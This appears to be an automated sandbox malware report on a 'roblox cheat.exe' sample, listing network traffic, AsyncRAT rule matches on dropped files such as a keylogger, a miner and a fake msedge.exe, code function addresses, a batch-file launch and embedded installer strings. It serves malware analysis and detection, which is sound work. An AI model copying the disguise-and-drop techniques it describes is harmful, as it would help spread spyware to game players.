Source: robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447390699.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447677703.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454321758.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/
Source: robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446863326.0000000003F8E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447206724.0000000003F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.7:49743 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: BitCoin_miner.exe.3.dr, XLogger.cs	.Net Code: KeyboardLayout
Source: msedge.exe.3.dr, XLogger.cs	.Net Code: KeyboardLayout

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000003.00000003.1260021270.00000225ABF82000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\Keyloger.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\ msedge.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

Code function: 3_2_00007FF6C16BC2F0: CreateFileW,CloseHandle,wcscpy,wcscpy,wcscpy,wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

3_2_00007FF6C16BC2F0

Source: C:\Users\user\Desktop\roblox cheat.exe	Code function: 0_2_014E164C	0_2_014E164C
Source: C:\Users\user\Desktop\roblox cheat.exe	Code function: 0_2_014E31CA	0_2_014E31CA
Source: C:\Users\user\Desktop\roblox cheat.exe	Code function: 0_2_014E34C1	0_2_014E34C1
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16DB190	3_2_00007FF6C16DB190
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16CA4AC	3_2_00007FF6C16CA4AC
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16D3484	3_2_00007FF6C16D3484
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16BF930	3_2_00007FF6C16BF930
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16C4928	3_2_00007FF6C16C4928
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16E0754	3_2_00007FF6C16E0754
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16DCE88	3_2_00007FF6C16DCE88
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16D1F20	3_2_00007FF6C16D1F20
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16B5E24	3_2_00007FF6C16B5E24
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16B7288	3_2_00007FF6C16B7288
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16C126C	3_2_00007FF6C16C126C
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16BA310	3_2_00007FF6C16BA310
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16BC2F0	3_2_00007FF6C16BC2F0
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16CF180	3_2_00007FF6C16CF180
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16D21D0	3_2_00007FF6C16D21D0
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16CB534	3_2_00007FF6C16CB534
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16D53F0	3_2_00007FF6C16D53F0
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16B76C0	3_2_00007FF6C16B76C0
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16F2550	3_2_00007FF6C16F2550
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16B4840	3_2_00007FF6C16B4840
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16EC838	3_2_00007FF6C16EC838
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16D2AB0	3_2_00007FF6C16D2AB0
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16B1AA4	3_2_00007FF6C16B1AA4
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16EFA94	3_2_00007FF6C16EFA94
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16C1A48	3_2_00007FF6C16C1A48
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16F5AF8	3_2_00007FF6C16F5AF8
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16E89A0	3_2_00007FF6C16E89A0
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16CC96C	3_2_00007FF6C16CC96C
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16D3964	3_2_00007FF6C16D3964
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16D4B98	3_2_00007FF6C16D4B98
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16CBB90	3_2_00007FF6C16CBB90
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16C5B60	3_2_00007FF6C16C5B60
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16E8C1C	3_2_00007FF6C16E8C1C
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16CAF18	3_2_00007FF6C16CAF18
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16D2D58	3_2_00007FF6C16D2D58
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16E0754	3_2_00007FF6C16E0754
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16D8DF4	3_2_00007FF6C16D8DF4
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16F2080	3_2_00007FF6C16F2080

Source: roblox cheat.exe, 00000000.00000000.1243509232.0000000000C80000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRoblox.exeH vs roblox cheat.exe
Source: roblox cheat.exe, 00000000.00000000.1244210855.0000000000DB4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamepayload.exe4 vs roblox cheat.exe
Source: roblox cheat.exe, 00000000.00000002.1253258267.000000000139E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs roblox cheat.exe
Source: roblox cheat.exe, 00000000.00000002.1255092707.00000000046E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRoblox.exeH vs roblox cheat.exe
Source: roblox cheat.exe	Binary or memory string: OriginalFilenameRoblox.exeH vs roblox cheat.exe
Source: roblox cheat.exe	Binary or memory string: OriginalFilenamepayload.exe4 vs roblox cheat.exe

Source: roblox cheat.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000003.00000003.1260021270.00000225ABF82000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\Keyloger.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\ msedge.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: BitCoin_miner.exe.3.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: BitCoin_miner.exe.3.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: BitCoin_miner.exe.3.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Keyloger.exe.3.dr, tMXwX3tWlMuOZgJ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Keyloger.exe.3.dr, dtVFTVK0Ux3SN1R.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Keyloger.exe.3.dr, dtVFTVK0Ux3SN1R.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: msedge.exe.3.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: msedge.exe.3.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: msedge.exe.3.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: BitCoin_miner.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: BitCoin_miner.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Keyloger.exe.3.dr, V2Dstkpoa4KAEaCoYXeMa7Hkw0t8Bq.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Keyloger.exe.3.dr, V2Dstkpoa4KAEaCoYXeMa7Hkw0t8Bq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: msedge.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: msedge.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: BitCoin_miner.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: BitCoin_miner.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Keyloger.exe.3.dr, V2Dstkpoa4KAEaCoYXeMa7Hkw0t8Bq.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Keyloger.exe.3.dr, V2Dstkpoa4KAEaCoYXeMa7Hkw0t8Bq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: msedge.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: msedge.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: BitCoin_miner.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: BitCoin_miner.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Keyloger.exe.3.dr, V2Dstkpoa4KAEaCoYXeMa7Hkw0t8Bq.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Keyloger.exe.3.dr, V2Dstkpoa4KAEaCoYXeMa7Hkw0t8Bq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: msedge.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: msedge.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: BitCoin_miner.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: BitCoin_miner.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Keyloger.exe.3.dr, V2Dstkpoa4KAEaCoYXeMa7Hkw0t8Bq.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Keyloger.exe.3.dr, V2Dstkpoa4KAEaCoYXeMa7Hkw0t8Bq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: msedge.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: msedge.exe.3.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal90.troj.spyw.evad.winEXE@26/17@22/12

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

Code function: 3_2_00007FF6C16BB6D8 GetLastError,FormatMessageW,LocalFree,

3_2_00007FF6C16BB6D8

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

Code function: 3_2_00007FF6C16D8624 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipAlloc,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

3_2_00007FF6C16D8624

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

File created: C:\Program Files (x86)\Roblox

Jump to behavior

Source: C:\Users\user\Desktop\roblox cheat.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\roblox cheat.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\roblox cheat.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7384:120:WilError_03

Source: C:\Users\user\Desktop\roblox cheat.exe

File created: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\coin.bat" "

Source: roblox cheat.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: roblox cheat.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.69%

Source: C:\Users\user\Desktop\roblox cheat.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\roblox cheat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: roblox cheat.exe

ReversingLabs: Detection: 60%

Source: roblox cheat.exe	String found in binary or memory: C:\buildAgent\work\ci_deploy_ninja_boot-x86_git\Client\Installer\Windows\include\Installer/Installer.h
Source: roblox cheat.exe	String found in binary or memory: tcontentcontent\avatarcontent\configscontent\fontscontent\skycontent\soundscontent\texturescontent\modelsExtraContentExtraContent\LuaPackagesExtraContent\translationsExtraContent\modelsExtraContent\texturesExtraContent\placesPlatformContentPlatformContent\pcPlatformContent\pc\texturesPlatformContent\pc\terrainPlatformContent\pc\fontsshaderssslWebView2RuntimeInstallerInstallerFailedToLaunchClientInstallerFailedToLaunchItself[FLog::DesktopInstaller] Downloading file {}Failed to download {}Empty response from {}Failed to compare {} to expected hash {} of {}. responseBody size: {}. http code: {}.failed Error from WinInet: {}Failed to overwrite {}[FLog::DesktopInstaller] unzipping file {}[FLog::DesktopInstaller] copying file {}failed to copy file {} to {}C:\buildAgent\work\ci_deploy_ninja_boot-x86_git\Client\Installer\Windows\src\Installer.cppAppPathAppName[FLog::DesktopInstaller] failed to read subkey {}[FLog::DesktopInstaller] found obsolete elevation policy registry of {} in folder {}Uncaught exception occurred. Code: {}[FLog::DesktopInstaller] Uncaught exception occurred[FLog::DesktopInstaller] Failed to recordStatus at milestone {} with error: {}successrecordStatus_{}isBackgroundModeInstallerRestartedFailed with exception {}Caught Windows error: {}Got null installer while initializing{}\Temp\Roblox\{}_{}Failed to create folder {}Failed to copy file from {} to {}failstartNewStatusFile[FLog::DesktopInstaller] Failed to start new status file with error: {}. Removing background mode arg{} {} {}[FLog::DesktopInstaller] Ready to relaunch: {}"{}\{}\{}"Download startedDownload completed[FLog::DesktopInstaller] Download and install files{}-{}ErrorFile{}Error in running fileTasks{}\AppSettings.xmlfailed to write file: {}{}\WebView2RuntimeInstaller\MicrosoftEdgeWebview2Setup.exe[FLog::DesktopInstaller] Run webview2 installer {}[FLog::DesktopInstaller] Failed to run webview2 installer {} in user mode: waitResult={}, errCode={}, exitCode={}[FLog::DesktopInstaller] Rerun webview2 installer {} in admin mode[FLog::DesktopInstaller] Failed to run webview2 installer {} in admin mode: waitResult={}, errCode={}, exitCode={}[FLog::DesktopInstaller] No privilege to rerun webview2 installer {} in admin mode[FLog::DesktopInstaller] Create installation folders[FLog::DesktopInstaller] Create installation folder: {}[FLog::DesktopInstaller] Installation Item: {} to {}[FLog::DesktopInstaller] Register environment info{}\{}.exe"{}" -uninstallUninstallStringRoblox CorporationPublisherhttp://{}URLInfoAboutCommentsInstallLocationNoModifyNoRepair{},0DisplayIconDisplayName{:04d}-{:02d}-{:02d}InstallDate{}\CapabilitiesApplicationDescription"{}",0ApplicationIconApplicationName{}\UrlAssociationsbaseHostversionfailed to remove uninstall registryfailed to remove IE subEnviron registryfailed to remove class registryversion-[FLog::DesktopInstaller] Remove installation target: {}[FLog::DesktopInstaller] Failed to remove old files in {}, you may need delete the folder manually.\Roblox{}\
Source: roblox cheat.exe	String found in binary or memory: Miscellaneous-Installation-of-desktop-items
Source: roblox cheat.exe	String found in binary or memory: Miscellaneous-Launching-programs-and-files-in-an-IFRAME
Source: roblox cheat.exe	String found in binary or memory: Miscellaneous-Launching-applications-and-unsafe-files
Source: roblox cheat.exe	String found in binary or memory: Miscellaneous-Allow-websites-to-open-windows-without-address-or-status-bars
Source: roblox cheat.exe	String found in binary or memory: Automatically logon with current username and passwordPrompt for user name and passwordAutomatic logon only in the Intranet zoneAnonymous logonDisableHigh SafetyEnablePromptAdministrator approvedNotReachableWifiWiredActiveX-controls-and-plug-ins-Download-signed-ActiveX-controls1001ActiveX-controls-and-plug-ins-Download-unsigned-ActiveX-controls1004ActiveX-controls-and-plug-ins-Run-ActiveX-controls-and-plug-ins1200ActiveX-controls-and-plug-ins-Initialize-and-script-ActiveX-controls-not-marked-as-safe-for-scripting1201Miscellaneous-Allow-scripting-of-Internet-Explorer-Web-browser-control1206ActiveX-controls-and-plug-ins-Allow-previously-unused-ActiveX-controls-to-run-without-prompt1208ActiveX-controls-and-plug-ins-Allow-Scriptlets1209ActiveX-controls-and-plug-ins-ActiveX-controls-and-plug-ins-Override-Per-Site-domain-based-ActiveX-restrictions120AActiveX-controls-and-plug-ins-Override-Per-Site-domain-based-ActiveX-restrict-ions120BScripting-Active-scripting1400Scripting-Scripting-of-Java-applets1402ActiveX-controls-and-plug-ins-Script-ActiveX-controls-marked-as-safe-for-scripting1405Miscellaneous-Access-data-sources-across-domains1406Scripting-Allow-Programmatic-clipboard-access1407Scripting-Enable-XSS-Filter1409Miscellaneous-Submit-non-encrypted-form-data1601Downloads-Font-download1604Run-Java1605Miscellaneous-Userdata-persistence1606Miscellaneous-Navigate-sub-frames-across-different-domains1607Miscellaneous-Allow-META-REFRESH1608Miscellaneous-Display-mixed-content1609Miscellaneous-Include-local-directory-path-when-uploading-files-to-a-server160AMiscellaneous-Installation-of-desktop-items1800Miscellaneous-Drag-and-drop-or-copy-and-paste-files1802Downloads-File-Download1803Miscellaneous-Launching-programs-and-files-in-an-IFRAME1804Launching-programs-and-files-in-webview1805Miscellaneous-Launching-applications-and-unsafe-files1806Miscellaneous-Use-Pop-up-Blocker1809Allow-OpenSearch-queries-in-Windows-Explorer180EAllow-previewing-and-custom-thumbnails-of-OpenSearch-query-results-in-Windows-Explorer180FUser-Authentication-Logon1A00Allow-persistent-cookies-that-are-stored-on-your-computer1A02Allow-per-session-cookies-not-stored1A03Miscellaneous-Dont-prompt-for-client-certificate-selection-when-no-certificates-or-only-one-certificate-exists1A04Allow-3rd-party-persistent-cookies1A05Allow-3rd-party-session-cookies1A06Miscellaneous-Software-channel-permissions1E05ActiveX-controls-and-plug-ins-Binary-and-script-behaviors2000DotNET-Framework-reliant-components-Run-components-signed-with-Authenticode2001DotNET-Framework-reliant-components-Run-components-not-signed-with-Authenticode2004DotNET-Framework-Reliant-Components-Permissions-for-Components-with-Manifests2007Miscellaneous-Open-files-based-on-content-not-file-extension2100Miscellaneous-Web-sites-in-less-privileged-web-content-zone-can-navigate-into-this-zone2101Miscellaneous-Allow-script-initiated-windows-without-size-or-position-constraints2102Scripting-Allow-status-bar-updates-via-script2103Miscellaneo
Source: roblox cheat.exe	String found in binary or memory: Automatically logon with current username and passwordPrompt for user name and passwordAutomatic logon only in the Intranet zoneAnonymous logonDisableHigh SafetyEnablePromptAdministrator approvedNotReachableWifiWiredActiveX-controls-and-plug-ins-Download-signed-ActiveX-controls1001ActiveX-controls-and-plug-ins-Download-unsigned-ActiveX-controls1004ActiveX-controls-and-plug-ins-Run-ActiveX-controls-and-plug-ins1200ActiveX-controls-and-plug-ins-Initialize-and-script-ActiveX-controls-not-marked-as-safe-for-scripting1201Miscellaneous-Allow-scripting-of-Internet-Explorer-Web-browser-control1206ActiveX-controls-and-plug-ins-Allow-previously-unused-ActiveX-controls-to-run-without-prompt1208ActiveX-controls-and-plug-ins-Allow-Scriptlets1209ActiveX-controls-and-plug-ins-ActiveX-controls-and-plug-ins-Override-Per-Site-domain-based-ActiveX-restrictions120AActiveX-controls-and-plug-ins-Override-Per-Site-domain-based-ActiveX-restrict-ions120BScripting-Active-scripting1400Scripting-Scripting-of-Java-applets1402ActiveX-controls-and-plug-ins-Script-ActiveX-controls-marked-as-safe-for-scripting1405Miscellaneous-Access-data-sources-across-domains1406Scripting-Allow-Programmatic-clipboard-access1407Scripting-Enable-XSS-Filter1409Miscellaneous-Submit-non-encrypted-form-data1601Downloads-Font-download1604Run-Java1605Miscellaneous-Userdata-persistence1606Miscellaneous-Navigate-sub-frames-across-different-domains1607Miscellaneous-Allow-META-REFRESH1608Miscellaneous-Display-mixed-content1609Miscellaneous-Include-local-directory-path-when-uploading-files-to-a-server160AMiscellaneous-Installation-of-desktop-items1800Miscellaneous-Drag-and-drop-or-copy-and-paste-files1802Downloads-File-Download1803Miscellaneous-Launching-programs-and-files-in-an-IFRAME1804Launching-programs-and-files-in-